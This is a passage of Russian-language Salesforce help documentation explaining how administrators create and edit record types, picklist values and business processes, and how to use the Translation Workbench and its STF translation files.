• При создании обращения или интереса и применении правил назначения новая запись может использовать
стандартныйтипзаписиавтораилиприниматьтипзаписиназначенного; данныйалгоритмопределяетсяпараметрами
обращений и интересов, заданными администратором.
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Создание типов записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
типов записей:
• «Настройка

приложения»

Совет: Преждечемсоздать типызаписей, добавьте все возможныезначениятипов
записейвосновнойсписокраскрывающихсясписков. Основнойраскрывающийся
список — это полный список значений раскрывающегося списка, которые могут
использоваться в любом типе записи.

1. В параметрах управления объекта выберите пункт «Типы записей».

2. Нажмите кнопку «Создать».

3. Чтобы скопировать все доступные значения раскрывающегося списка, выберите
значение «Основной» в раскрывающемся списке «Текущий тип записи». Чтобы
клонировать значения раскрывающегося списка, выберите текущий тип записи.

Прим.: Новый тип записи, созданный без применения клонирования,
автоматически содержит значения основных стандартных и настраиваемых
раскрывающихся списков. При необходимости настройте значения
раскрывающихся списков для типа записи.

4. Заполните поле «Метка типа записи».

5. Заполните поле «Имя типа записи». Поле «Имя типа записи» ссылается на
компонентприиспользовании Web Services APIипозволяетпредотвратитьконфликты
наименования во время установки в управляемых пакетах.

6. Выберите бизнес-процесс для связывания с типом записи возможностей, обращений, интересов или решений.

7. Введите описание.

8. Чтобы активировать тип записи, установите флажок «Активно».

9. Чтобы предоставить соответствующим пользователям доступ к типу записи, установите флажок «Включить для
профиля» напротив нужного профиля. Чтобы предоставить доступ всем профилям, установите флажок в строке
заголовка.

Совет: Если каждому профилю назначается только один тип записи, то выбор типа создаваемой записи
недоступен.

10. Чтобы выбрать тип записи в качестве стандартного для пользователей активного профиля, установите флажок
«Сделать стандартным». Чтобы выбрать тип записи в качестве стандартного для всех профилей, установитефлажок
в строке заголовка.

11. Нажмите кнопку «Далее».

12. Чтобы определить макет страницы, который должен отображаться для записей данного типа, выберите параметр
макета страницы.

• Чтобы применить единый макет страницы ко всем профилям, установите флажок «Применить один макет ко
всем профилям» и выберите нужный макет страницы из раскрывающегося списка.

• Чтобы применить разные макеты страниц на основе профилей, установите флажок «Применить отдельные
макеты для каждого профиля» и выберите нужный макет страницы для каждого профиля.
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13. Чтобы изменить значения стандартных и настраиваемых раскрывающихся списков, доступных для типа записи,
нажмите кнопку «Сохранить». Чтобы создать другой тип записи, нажмите кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Просмотр и редактирование типов записей

Редактирование раскрывающихся списков для типов записей и бизнес-процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
типов записей:
• «Настройка

приложения»

Для создания илиизменения
бизнес-процессов:
• «Настройка

приложения»

Настройте значения в раскрывающихся списках типов записей или бизнес-процессов
в соответствии с текущими требованиями компании.

1. Выберите тип записи или бизнес-правило ищелкните «Изменить» рядом с полем
раскрывающегося списка, чтобы изменить значения.

2. Добавьте или удалите значения при необходимости. Пользователи могут выбирать
эти значения при создании и изменении записей.

3. При необходимости выберите значение раскрывающегося списка по умолчанию.
В некоторых раскрывающихся списках значение по умолчанию является
обязательным. Значение по умолчанию в зависимом поле пропускается.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые поля

Рекомендации по созданию раскрывающихся списков

Рекомендации по созданию раскрывающихся списков

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по редактированию значений раскрывающихся
списков типов записей или бизнес-процессов. Например, чтобы предоставить
пользователям доступ к созданному раскрывающемуся списку, обновите
соответствующие макеты страниц.

• Основнойраскрывающийсясписокнесвязанстипамизаписейибизнес-процессами.
Новое значение, добавляемое в основной раскрывающийся список, должно быть
вручную добавлено в соответствующие типы записей. Значение, удаляемое из
основногораскрывающегосясписка, становитсянедоступнымприсозданиизаписей.
Однако записи, назначенные данному значению, остаются без изменений.

• Переименование типа записи не влияет на список его значений.

• Ниже перечислены поля специальных раскрывающихся списков, недоступные для
типов записей ввиду их исключительного использования для процессов продаж,
процессов интереса, процессов поддержки и процессов решения.

4415

Использование типов записейРасширение Salesforce посредством интерактивных
инструментов



– «Этап»  (возможность)

– «Статус»  (обращение)

– «Статус»  (решение)

– «Статус интереса»

Данные поля позволяют использовать разные значения раскрывающихся списков для разных типов записей путем
назначения отдельного процесса каждому типу записи.

• Ниже перечислены раскрывающиеся списки участников кампании, недоступные для типов записей.

– «Статус»

– «Приветствие»

– «Источник интереса»

• Чтобыпоказыватьполена страницахпросмотраиредактирования сведенийо записях, добавьтеполе «Тип записи»
в макеты страниц. Пользователь может быть связан с несколькими типами записей. Например, пользователю,
создающемумаркетинговыекампаниидляподразделений «США» и «Европа», могутбытьдоступныоба типа записей
при создании кампаний.

Типы записей могут быть назначены участникам кампании только посредством поля новых или текущих кампаний
«Тип участника кампании». Чтобы назначить типы записей участникам кампании, добавьте поле «Тип участника
кампании» вмакетстраницыкампаний. Типучастникакампанииможетбытьизменентолькоприналичииполномочия
«Пользователь Marketing». При необходимости макет страницы участников кампании может быть дополнен
полем «Тип участника кампании», доступным только для чтения.

СМ. ТАКЖЕ:

Редактирование раскрывающихся списков для типов записей и бизнес-процессов

4416

Использование типов записейРасширение Salesforce посредством интерактивных
инструментов



Просмотр и редактирование типов записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страниц
настройки типов записей:
• «Просмотр настройки и

конфигурации»

Для создания илиизменения
типов записей:
• «Настройка

приложения»

Чтобы просмотреть список типов записей, перейдите к пункту «Типы записей» с
помощью параметров управления объектами для организаций.

• Чтобы создать тип записи, нажмите кнопку «Создать».

• Чтобы изменить имя типа записи, щелкните «Правка». Чтобы деактивировать тип
записи, снимите флажок «Активно». Деактивация типа записи не инициирует его
удаления из профилей или наборов полномочий.

Прим.: При создании и редактировании типов записей для организаций,
возможностей, обращений, контактовилинастраиваемыхобъектоврекомендуем
проверить правила общего доступа, использующие текущие типы записей в
качестве критериев. Изменение типа записи может повлиять на количество
записей, доступныхсогласноправилуобщегодоступа. Например, организация
использует тип записи «Обслуживание» и создает правило общего доступа на
основекритериев, согласнокоторомувсезаписитипа «Обслуживание» доступны
соответствующейрабочей группе. Чтобыпредоставитьрабочей группедоступ
к записям нового типа («Поддержка»), рекомендуем обновить правило общего
доступа путем добавления типа записи «Поддержка» в качестве критерия.

• Чтобы удалить неактивный тип записи и назначить связанным записям другой тип,
щелкните ссылку «Удал.». Чтобы пропустить тип записи для записей, связанных с
удаленным типом записи, выберите значение «Нет».

Прим.: Удаление типов записей участника кампанииинициируетобновление
поля «Тип участника кампании», используемого в записях кампаний и их
участников.

• Чтобы изменить связанные раскрывающиеся списки, щелкните имя нужного типа записи.

• Чтобы выбрать макеты страниц, доступные пользователям на основе профилей и типов записей, нажмите кнопку
«Назначение макета страницы».

Прим.: Тип записи для объекта, используемого кодом Apex, не может быть изменен или удален.

СМ. ТАКЖЕ:

Назначение макетов страниц
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Пакетное управление бизнес-процессами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-процессов:
• «Настройка

приложения»

Благодаря многочисленным бизнес-процессам, система позволяет отображать разные
значения раскрывающихся списков для разных пользователей на основе их профилей.
Многочисленные бизнес-процессы позволяют отслеживать отдельные жизненные
циклы продаж, поддержки и интереса.

Процессы продаж
Создайте разные процессы продаж, содержащие некоторые или все значения
раскрывающегося списка, доступные для поля возможности «Этап».

Процессы интереса
Создайте разные процессы интереса, содержащие некоторые или все значения
раскрывающегося списка, доступные для поля «Статус интереса».

Процессы поддержки
Создайте разные процессы поддержки, содержащие некоторые или все значения
раскрывающегося списка, доступные для поля обращения «Статус».

Процессы решения
Создайте разные процессы решения, содержащие некоторые или все значения
раскрывающегося списка, доступные для поля «Статус».

Назначьте созданныйпроцесс продаж, поддержки, интереса или решения типу записи.
Тип записи определяет профили, связанные с бизнес-процессом.

Чтобыпросмотреть списокбизнес-процессов, введите строку «Процессы» вполе «Быстрый поиск» вменю «Настройка»
и выберите соответствующую ссылку.

• Чтобы создать бизнес-процесс, нажмите кнопку «Создать».

• Чтобы изменить имя или деактивировать бизнес-процесс, щелкните ссылку «Правка».

• Чтобы удалить неиспользуемый бизнес-процесс, щелкните ссылку «Удал.».

• Чтобы изменить связанные значения раскрывающегося списка, щелкните имя нужного бизнес-процесса.

СМ. ТАКЖЕ:

Редактирование раскрывающихся списков для типов записей и бизнес-процессов
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Создание нескольких бизнес-процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-процессов:
• «Настройка

приложения»

Чтобысоздатьпроцессыпродаж, поддержки, интересовирешений, выполнитеуказанные
ниже действия.

1. Введитестроку «Процессы» вполе «Быстрый поиск» вменю «Настройка» ивыберите
соответствующую ссылку.

2. Нажмите кнопку «Создать».

3. Чтобы скопировать значения раскрывающегося списка в новый процесс, выберите
текущий процесс. Чтобы скопировать все доступные значения раскрывающегося
списка, выберите значение «Основной».

4. Введите имя и описаниенового процесса. Имя должнобыть уникальным впределах
вкладки.

5. Нажмите кнопку «Сохранить».

При этом отображается страница, содержащая все доступные значения
раскрывающегося списка. Выберите значения для добавления в новый
бизнес-процесс.

Затемдобавьтеновыйбизнес-процессв типзаписиипредоставьтепользователямдоступ
к типу записи на основе профиля.

Использование средства перевода

Средство перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Средствопереводапозволяетвыбрать языкиперевода, назначитьпереводчиковисоздать
переводы настроек, выполненных в организации Salesforce, а также переопределить
метки и переводы из управляемых пакетов. С помощью средства перевода могут быть
переведены любые элементы интерфейса — от значений настраиваемых
раскрывающихся списков до значенийнастраиваемыхполей, поэтому пользователииз
других стран смогут в полноймере оценить все достоинства системы Salesforce на своем
родном языке.

При переводе настраиваемого компонента Salesforce отслеживает изменения для того
компонента и настраивает индикатор «Устарело» тогда, когда перевод необходимо
изменить. Вы можете управлять переведенными значениями для любого языка,
поддерживаемого Salesforce.

Прим.: Стандартные объекты недоступны в Средстве перевода. Для перевода
стандартных объектов используйте интерфейс переименования вкладок и меток.

Если настраиваемый компонент не имеет переведенного значения, пользователи видят значение компонента на языке
организации по умолчанию. При деактивации языка все переводы для этого языка все еще будут доступны в Средстве
перевода, однако пользователям с этим выбранным языком видят значения на языке, заданном по умолчанию для
организации.

ОдноязычныеорганизациинеподдерживаютСредствоперевода. Чтобыопределить, являетсялиорганизацияодноязычной
или многоязычной, обратитесь в компанию Salesforce.

При включении Средства перевода в организацию Salesforce вносятся следующие изменения.
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• Необходиморедактировать значения списка для выборапоотдельности. Раскрывающиеся спискинеподдерживают
пакетное редактирование значений, но поддерживают пакетное добавление новых значений.

• Значенияраскрывающегосясписка, отсортированныевалфавитномпорядке, отображаютсяпоалфавитустандартного
языка организации.

• Отчетысодержатраскрывающийсясписок «Языкфильтра» напанели «Фильтры» конструктораотчетов. Выборязыка
инициирует фильтрацию переведенных строк для любых критериев фильтрации, использующих операторы
«начинается с», «содержит» или «не содержит».

• Файлыимпортасодержатраскрывающийсясписок «Язык», поэтомувсе записиизначения, доступныевфайлеимпорта,
должны быть указаны на данном языке.

• Функции Web-to-Lead и Web-to-Case должны использовать раскрывающийся список «Язык» до создания документа
HTML.

Включение и выключение средства перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Управление переводом»Для добавления или редактирования языков:

«Управление переводом»Для назначения переводчиков:

«Управление переводом»Для экспорта или импортафайлов перевода:

«Просмотр настройки и конфигурации»

И

Назначение в качестве переводчика

Для перевода терминов:

«Просмотр настройки и конфигурации»

И

Для переопределения терминов:

«Настройка приложения»

Средствопереводапозволяетвыбратьязыкиперевода, назначитьпереводчиковисоздатьпереводынастроек, выполненных
ворганизацииSalesforce, а такжепереопределитьметкиипереводыиз управляемыхпакетов. Спомощьюсредстваперевода
могутбытьпереведенылюбыеэлементыинтерфейса — отзначенийнастраиваемыхраскрывающихсясписковдозначений
настраиваемых полей, поэтому пользователи из других стран смогут в полной мере оценить все достоинства системы
Salesforce на своем родном языке.

Чтобы включить средство перевода, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Параметры перевода» в поле «Быстрый поиск», затем выберите «Параметры
перевода».

2. Нажмите кнопку «Включить» на странице приветствия.

Прим.: По умолчаниюполномочие «Управление переводом» включено в профиле «Системный администратор».

Чтобыотключитьсредствоперевода, вменю «Настройка» введите строку «Параметры перевода» вполе «Быстрый поиск»,
выберите пункт «Параметры перевода», затем нажмите кнопку «Отключить».
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Прим.: Включениесредстваперевода являетсянеобратимымдляорганизации Developer Edition, котораяиспользует
управляемый пакет, содержащий переводы.

СМ. ТАКЖЕ:

Добавление и редактирование языков перевода и переводчиков

Ввод переведенных терминов

Общие сведения об обновлении переведенных терминов

Добавление и редактирование языков перевода и переводчиков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
редактирования языков:
• «Управление

переводами»

Средство перевода позволяет добавлять поддерживаемые языки, активировать или
деактивировать язык, назначать переводчиков и вводить переведенные термины для
выполненных настроек на стандартном языке организации.

Прим.: По умолчанию полномочие «Управление переводами» включено в
профиле «Системный администратор».

Чтобы добавить или изменить языки перевода и переводчиков, выполните указанные
ниже действия.

1. В разделе «Настройка» введите «Параметры перевода» в поле «Быстрый поиск»,
затем выберите «Параметры перевода».

2. Чтобы активировать новый язык, нажмите кнопку «Добавить». Чтобы изменить
текущий поддерживаемый язык, щелкните ссылку «Правка».

3. Выберите новый язык для добавления.

4. Чтобы предоставить пользователям доступ к введенным переводам, установите
флажок «Активно». Личныйязыкпользователяможет бытьизменен в любое время,
независимо от его активности в средстве перевода. Установленныйфлажок
«Активно» предоставляет пользователям доступ к переводам на соответствующем
языке.

Совет: Рекомендуем активировать язык только после перевода всех значений.

5. Чтобы назначить переводчиков для данного языка, воспользуйтесь полем «Список доступных» и нажмите кнопку
«Добавить». Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите кнопку «Найти».

Важное замечание: Убедитесь в предоставлении всем переводчикам полномочия «Просмотр настройки и
конфигурации», необходимогодляначалаработы. Припереводемогутиспользоваться только те языки, которые
назначены пользователям.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Включение и выключение средства перевода

Ввод переведенных терминов

Общие сведения об обновлении переведенных терминов
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Ввод переведенных терминов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для перевода терминов:
• «Просмотр настройки и

конфигурации»

И

Назначение в качестве
переводчика

Чтобы добавить переводы, выполните указанные ниже действия.

1. Введитестроку «Перевод» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Перевод».

2. Выберите язык перевода в раскрывающемся списке «Язык».

3. Выберите нужное значение раскрывающегося списка «Компонент настройки».
Чтобыпросмотретьсписокпереводимыхнастроек, воспользуйтесьраскрывающимся
меню. Полныйсписок возможныхнастроек см. вразделе «Переводимыенастройки».

4. При необходимости выберите объект и аспект. Например, задачи бизнес-правил
могут использовать объект (организация, контакт и т. д.) и аспект (тема или
комментарий).

5. Чтобы добавить новые значения, дваждыщелкните столбец для перевода. Чтобы
выбрать следующее редактируемое поле, нажмите клавишу TAB. Чтобы вернуться к
предыдущему редактируемому полю, нажмите клавиши SHIFT + TAB.

Прим.: Столбец «Устарело» указывает на обновление элемента и
необходимость перевода соответствующего термина. При редактировании
метки кнопки или ссылки отображается столбец «Имя кнопки или ссылки»,
который используется для обращения к компоненту при использовании SOAP
API.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание правил модерирования для сообщества

Общие сведения об обновлении переведенных терминов

Добавление и редактирование языков перевода и переводчиков
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Переопределение переводов в управляемых пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переопределения
терминов:
• «Просмотр настройки и

конфигурации»

И

«Настройка
приложения»

Управляемый пакет не поддерживает редактирование меток или переводов, так как они
контролируются разработчиком. При необходимости метки и переводы могут быть
переопределены с помощью средства перевода. Например, пользователи могут
переопределять настраиваемые поля пакета.

Чтобы добавить переопределения в управляемый пакет, выполните указанные ниже
действия.

1. Введите строку «Переопределение» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Переопределение».

2. Выберите переопределяемый пакет в поле «Пакет».

3. Выберите Язык для переопределения.

4. Выберите нужное значение раскрывающегося списка «Компонент настройки».
Чтобыпросмотретьсписокпереводимыхнастроек, воспользуйтесьраскрывающимся
меню. Полныйсписок возможныхнастроек см. вразделе «Переводимыенастройки».

5. При необходимости выберите объект и аспект. Например, задачи бизнес-правил
могут использовать объект (организация, контакт и т. д.) и аспект (тема или
комментарий).

6. Чтобы добавить новые значения, дваждыщелкните столбец для переопределения.
Чтобы выбрать следующее редактируемое поле, нажмите клавишу TAB. Чтобы
вернуться к предыдущему редактируемому полю, нажмите клавиши SHIFT + TAB.

Прим.: Столбец «Устарело» указывает на обновление элемента и
необходимостьперевода соответствующегоему термина. Приредактировании
метки кнопки или ссылки отображается столбец «Имя кнопки или ссылки»,
который используется для обращения к компоненту при использовании SOAP
API.

7. Чтобы добавить новые значения, дваждыщелкните столбец для перевода. Чтобы выбрать следующее редактируемое
поле, нажмите клавишу TAB. Чтобы вернуться к предыдущему редактируемому полю, нажмите клавиши SHIFT + TAB.

Прим.: Столбец «Устарело» указывает на обновление элемента и необходимость перевода соответствующего
термина. При редактировании метки кнопки или ссылки отображается столбец «Имя кнопки или ссылки»,
который используется для обращения к компоненту при использовании SOAP API.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Включение и выключение средства перевода
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Переводимые настройки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для перевода терминов:
• «Просмотр настройки и

конфигурации»

И

Назначение в качестве
переводчика

Для переопределения
терминов:
• «Просмотр настройки и

конфигурации»

И

«Настройка
приложения»

Чтобы просмотреть переводимые настройки организации, введите строку «Перевод» в
поле «Быстрый поиск» в меню «Настройка», выберите пункт «Перевод», а затем —
«Компонент настройки». При необходимости заполните поле «Объект», «Объект
типа настраиваемых отчетов» или «Аспект».

Ниже перечислены компоненты, доступные для перевода.

• Действие

• Страна адресата

• Регион адресата

• Причина общего доступа к Apex

• Метки кнопок и ссылок

• Настраиваемое приложение

• Настраиваемое поле

• Настраиваемое поле

• Тип настраиваемого отчета

• Категория данных

• Группа категории данных

• Подразделение

• Глобальный раскрывающийся список

• Раздел макета

• Фильтр поиска

• Элемент меню навигации (для сообществ)

• Фильтры поиска

• Значения раскрывающегося списка

• Метки быстрых действий

• Тип записи

• Метка связанного списка

• Уровни репутации (для сообществ)

• Обогащенный текст действия пути продаж

• S-Control

• Категория решения

• Справка для стандартного поля

• Сообщение об ошибке проверки

• Веб-вкладки

• Задачи бизнес-правил
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Важное замечание: Элементы S-Control заменены страницами Visualforce. Элементы S-Control не могут быть созданы
организациями, где они ранее не использовались. Текущие элементы S-Control останутся без изменений и будут
доступны для редактирования.

СМ. ТАКЖЕ:

Включение и выключение средства перевода

Редактирование файлов перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переопределения
терминов:
• «Просмотр настройки и

конфигурации»

И

«Настройка
приложения»

Нижеперечисленытипыфайлов, используемыедляпереводаметокнастроекипроверки
переводов.

• «Источник»: используется для первоначального перевода меток.

• «Без перевода»: используется для последующего перевода меток.

• «На двух языках»: используется для проверки и редактирования переводов.

Файлы перевода обозначаются расширением .stf, которое расшифровывается как:
Salesforce Translation Format (формат перевода Salesforce). Имя файла перевода содержит
имяспособа экспорта, использованногодля его создания, код языка содержимогоиметку
даты.

Пакет STF-файлов, созданных в результате экспорта «Без перевода» и «Надвух языках»,
архивируется в файл размером не более 5 Мб. При использовании пакета архивных
файлов имя каждого архива содержит метку даты и показатель прироста. Например,
«Без перевода 2010–09–20 05:13 1из2.zip».

Внимание: Ниже перечислены рекомендации по редактированию STF-файлов.

• Расширение .stf не может быть изменено.

• Обратитевнимание, чтосимволытабуляции, новыестрокиисимволыпереноса,
используемые в исходном тексте, отображаются в STF-файле в виде
специальных символов. Символы табуляции — \t, новые строки — \n и
символы переноса — \r. Чтобы гарантировать единообразное оформление
исходного и переведенного текстов, рекомендуем сохранить данные символы
в переводах.

Работа с файлом «Источник»
Файл «Источник» используется для первоначального перевода меток организации. Файл «Источник» содержит метки
всех переводимых настроек организации на стандартном языке организации.

При отсутствии стандартного средства перевода (например, Trados) рекомендуем использовать приложение,
поддерживающее вкладки и перенос слов (например, WordPad или MS Excel).

Прим.: Если приложение MS Excel используется для ввода переводов в STF-файл, то формат файла может быть
поврежден. Приложение MS Excel автоматически добавляет кавычки вокруг записей с запятыми. Прежде чем
импортировать данныйфайл, рекомендуем открыть его в текстовом редакторе и удалить все добавленные кавычки.
Файл, содержащий кавычки, не может быть импортирован.

Чтобы подготовить файл «Источник» для перевода, выполните указанные ниже действия.

• Создайте одну копиюфайла «Источник» для каждого языка перевода.
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• Измените код стандартного языка организации (например, en_US) на код языка перевода (например, ru) в заголовке
каждого файла «Источник».

Сообщитепереводчикам, чтопереведенныезначениядолжныбытьдобавленывстолбец «МЕТКА» взаменнепереведенных.

Прим.: Столбцы не могут быть добавлены или удалены из файла перевода.

Параметры редактированияОписаниеСтолбец

Редактирование не поддерживаетсяУникальные идентификаторы метокКЛЮЧ

Переведенные значения заменяют
непереведенные

Метки, доступные конечным
пользователям

МЕТКА

Работа с файлом «Без перевода»
Файл «Без перевода» используется для перевода непереведенных меток. Для каждого языка создается один файл «Без
перевода». При создании нескольких файлов выполняется экспорт в ZIP-файл, содержащий STF-файлы для каждого
языка перевода.

При отсутствии стандартного средства перевода (например, Trados) рекомендуем использовать приложение,
поддерживающее вкладки и перенос слов (например, WordPad или MS Excel).

Прим.: Если приложение MS Excel используется для ввода переводов в STF-файл, то формат файла может быть
поврежден. Приложение MS Excel автоматически добавляет кавычки вокруг записей с запятыми. Прежде чем
импортировать данныйфайл, рекомендуем открыть его в текстовом редакторе и удалить все добавленные кавычки.
Файл, содержащий кавычки, не может быть импортирован.

Сообщитепереводчикам, чтопереведенныезначениядолжныбытьдобавленывстолбец «МЕТКА» взаменнепереведенных.

Прим.: Столбцы не могут быть добавлены или удалены из файла перевода.

Параметры редактированияОписаниеСтолбец

Редактирование не поддерживаетсяУникальные идентификаторы метокКЛЮЧ

Переведенные значения заменяют
непереведенные

Метки, доступные конечным
пользователям

МЕТКА

Работа с файлом «На двух языках»
Файл «Надвухязыках» используетсядляпроверкипереводов, редактированияпереведенныхметокидобавленияпереводов
для непереведенных меток. Для каждого языка перевода создается один файл «На двух языках».

Раздел «СПЕРЕВОДОМ» отображаетпереведенныйтекст, требующийпроверки. Раздел «БЕЗПЕРЕВОДА» отображает
непереведенный текст.

Редактирование файла может быть выполнено посредством приложения, поддерживающего вкладки и перенос слов
(например, WordPad или MS Excel).

Прим.: Если приложение MS Excel используется для ввода переводов в STF-файл, то формат файла может быть
поврежден. Приложение MS Excel автоматически добавляет кавычки вокруг записей с запятыми. Прежде чем
импортировать данныйфайл, рекомендуем открыть его в текстовом редакторе и удалить все добавленные кавычки.
Файл, содержащий кавычки, не может быть импортирован.
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• Чтобы определить устаревшие метки, просмотрите столбец «УСТАРЕЛО» на наличие значений, помеченных
звездочкой (*). При необходимости обновите устаревшие метки.

• Измените переведенные метки в столбце «ПЕРЕВОД» раздела «СПЕРЕВОДОМ».

• Замените непереведенные метки переведенными значениями в столбце «МЕТКА» раздела «БЕЗПЕРЕВОДА».

• Чтобы удалить перевод, переместите нужное значениеиз столбца «ПЕРЕВОД» в любойраздел с угловыми скобками
(< >). При импорте файла «На двух языках» отображается исходное значение метки.

Внимание: Перевод не может быть удален путем удаления переведенной метки из файла. Удаление перевода
из файла не инициирует удаление перевода из приложения после импорта файла.

Прим.: Столбцы не могут быть добавлены или удалены из файла перевода.

Параметры редактированияОписаниеСтолбец

Редактирование не поддерживаетсяУникальные идентификаторы метокКЛЮЧ

Метки, доступные конечным пользователямМЕТКА • Редактирование меток в разделе «С
ПЕРЕВОДОМ» не поддерживается

• Переведенные значения заменяют
непереведенные в разделе «БЕЗ
ПЕРЕВОДА»

Текущий переводПЕРЕВОД • Редактирование текущих переводов в
разделе «СПЕРЕВОДОМ»

• Добавление переводов в разделе «БЕЗ
ПЕРЕВОДА»

Редактирование не поддерживаетсяДанный столбец определяет исходный текст,
измененный после предыдущего перевода.

Символы актуальности:

УСТАРЕЛО

• Звездочка (*): устаревшая метка. Метка
стандартного языка изменена, но перевод
не обновлен.

• Тире (-): текущий перевод.

СМ. ТАКЖЕ:

Экспорт файлов перевода

Импорт переведенных файлов
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Общие сведения об обновлении переведенных терминов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переопределения
терминов:
• «Просмотр настройки и

конфигурации»

И

«Настройка
приложения»

Приизменениипереведенныхкомпонентовсоответствующимзначениямприсваивается
статус «Устарело». Актуальность используемых переводов должна отслеживаться
переводчиками.

Например, пользователь вводит перевод сообщения об ошибке для фильтра поиска.
Затемпользовательредактируетфильтрпоискаиизменяет сообщениеобошибке. При
открытии средства перевода и просмотре столбца перевода сообщения пользователю
будут отображаться перевод устаревшего сообщения об ошибке и соответствующий
флажок в столбце «Устарело».

Настоятельнорекомендуемкакможночащевыполнятьпроверкуиспользуемыхпереводов
и уведомлять переводчиков о предстоящих изменениях. Чтобы создать список всех
переводимых настроек и связанных статусов «Устарело», воспользуйтесь функцией
средства перевода «Экспорт» > «Все».

СМ. ТАКЖЕ:

Ввод переведенных терминов

Добавление и редактирование языков перевода и переводчиков
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Экспорт файлов перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта или импорта
файлов перевода:
• «Управление

переводом»

И

«Настройка
приложения»

И

«Создание документов»

Чтобы создать файлы, содержащие переводимые метаданные организации (например,
настраиваемыеполя, типыотчетовизначенияраскрывающегосясписка), воспользуйтесь
функцией «Экспорт» в средстве перевода. Чтобы обновить метки после получения
пакетногопереводаданныхфайловотвнешнихпереводчиков, воспользуйтесьфункцией
«Импорт».

1. Введите строку «Экспорт» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Экспорт».

2. Выберите метки для экспорта.

• «Источник»: используется для создания первоначальных переводов.

Данныйпараметрсоздаетотдельныйфайл, содержащийсписоквсехпереводимых
настроек. Как правило, содержимое отображается на стандартном языке
организации.

• «Без перевода»: используется для обновления.

Данный параметр создает набор файлов, содержащих только непереведенные
настройки, включая новые и измененные настройки.

Для каждого языка создается один файл. Затем данные файлы архивируются.

• «Надвухязыках»: используетсядлясоотнесенияипросмотравсехпереведенных
и непереведенных настроек.

Данный параметр создает список всех переведенных и непереведенных меток.

Для каждого языка создается один файл. Затем данные файлы архивируются.

Содержимоекаждогофайлавключаетдвараздела: «Безперевода» и «Спереводом».
В зависимости от текущего статуса, каждая переводимая метка отображается в
разделе «Без перевода» или «С переводом». Кроме того, раздел «С переводом»
отображается статус «Устарело».

3. Нажмите кнопку «Экспорт».

Системаотображает статусноесообщениеобобработке экспорта. Сообщениеэл. почты, уведомляющееозавершении
экспорта, отправляется на адрес эл. почты, указанный в профиле пользователя.

4. Выберите экспортированный STF- или ZIP-файл.

